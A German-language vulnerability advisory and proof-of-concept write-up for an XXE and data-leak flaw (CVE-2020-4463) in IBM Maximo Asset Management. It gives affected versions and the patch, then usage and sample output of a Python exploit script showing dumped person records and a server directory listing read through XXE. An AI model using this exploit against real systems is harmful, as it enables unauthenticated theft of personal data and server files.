IBM Maximo Asset Management ist anfällig für Informationsoffenlegung durch XXE-Sicherheitslücke (CVE-2020-4463)

IBM Maximo Asset Management ist anfällig für einen XML-External-Entity-Injection-Angriff (XXE) bei der Verarbeitung von XML-Daten. Ein entfernter Angreifer könnte diese Sicherheitslücke ausnutzen, um vertrauliche Informationen preiszugeben oder Arbeitsspeicherressourcen zu verbrauchen.

Base Score: 8.2

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Betroffene Kernkomponenten

IBM Maximo Asset Management 7.6.0
IBM Maximo Asset Management 7.6.1
IBM Maximo Asset Management alle Versionen vor 7.6.0

Betroffene Produkte

Maximo for Aviation
Maximo for Life Sciences
Maximo for Nuclear Power
Maximo for Oil and Gas
Maximo for Transportation
Maximo for Utilities
SmartCloud Control Desk
IBM Control Desk
Tivoli Integration Composer

In Version gepatcht

Behobene Version: Maximo Asset Management 7.6.1.2
Frühere Versionen: Siehe Problemumgehung (Link unten)

PoC

Hier nun der PoC für die Sicherheitslücke. Nicht nur die von IBM genannten Versionen sind anfällig. Alle Versionen vor Version 7.6.0 können ebenfalls anfällig sein.

Der PoC prüft 2 Sicherheitslücken, die im System vorhanden sein könnten. Eine Datenleck-Sicherheitslücke, die ausgenutzt werden kann, wenn keine Authentifizierung implementiert ist, und die XXE-Sicherheitslücke, die ausgenutzt werden kann, wenn ein bestimmter Wert (mxe.int.resolvexmlextentity=0) nicht in der Konfiguration gesetzt ist.

Beispiel

Verwendung

python3 CVE-2020-4463.py --help
usage: CVE-2020-4463.py [-h] [-x [XXE]] [-d [DATALEAK]] [--url [URL]]

CVE-2020-4463 PoC Data Leakage and XXE

optional arguments:
  -h, --help            show this help message and exit
  -x [XXE], --xxe [XXE]
                        XXE (Linux/Windows)
  -d [DATALEAK], --dataleak [DATALEAK]
                        Data Leakage REST request MXPERSON. May take a long
                        time.
  --url [URL]           Target URL http://, https://

Wenn Sie die folgende Antwort erhalten, sind beide Sicherheitslücken nicht vorhanden.

Error 500: BMXAA1268E - No user credentials.

Datenleck

Kann lange dauern, wenn die Datenbank viele Einträge enthält.

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -d

<?xml version="1.0" encoding="UTF-8"?>
<QueryMXPERSONResponse xmlns="http://www.ibm.com/maximo" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    creationDateTime="2020-11-16T10:42:49+01:0 0" transLanguage="EN" baseLanguage="EN"
    messageID="6927296.160551977018422092" maximoVersion="7 6 20170418-0100 V7608-61" rsStart="0" rsTotal="4374"
    rsCount="4374">
    <MXPERSONSet>
        <PERSON>
            <ADDRESSLINE1></ADDRESSLINE1>
            <CITY></CITY>
            <CLASSSTRUCTUREID></CLASSSTRUCTUREID>
            <COUNTRY></COUNTRY>
            <C_DESCRIZIONE></C_DESCRIZIONE>
            <C_MATRICOLA></C_MATRICOLA>
            <C_QUALIFICA></C_QUALIFICA>
            <FIRSTNAME>Lxxxxxxx</FIRSTNAME>
            <LANGUAGE>IT</LANGUAGE>
            <LASTNAME>xxxxxx</LASTNAME>
            <PERSONID>Lxxxxxxx</PERSONID>
            <POSTALCODE></POSTALCODE>
            <PRIMARYEMAIL>[email protected]</PRIMARYEMAIL>
            <PRIMARYPHONE></PRIMARYPHONE>
            <STATEPROVINCE></STATEPROVINCE>
            <STATUS maxvalue="ACTIVE">ACTIVE</STATUS>
            <TITLE></TITLE>
            <USERNOTFTYPE></USERNOTFTYPE>
            <EMAIL>
                <EMAILADDRESS>[email protected]</EMAILADDRESS>
            </EMAIL>
        </PERSON>

XXE

CVE-2020-4463 git:(master) ✗ python3 CVE-2020-4463.py --url https://10.0.0.1 -x          

Error 500: BMXAA4160E - A major exception has occurred. Check the system log to see if there are any companion errors logged. Report this error to your system administrator.
	/c: &#40;No such file or directory&#41;
Error 500: For input string: &quot;bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost&#43;found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
&quot;

CVE-2020-4463

Beliebteste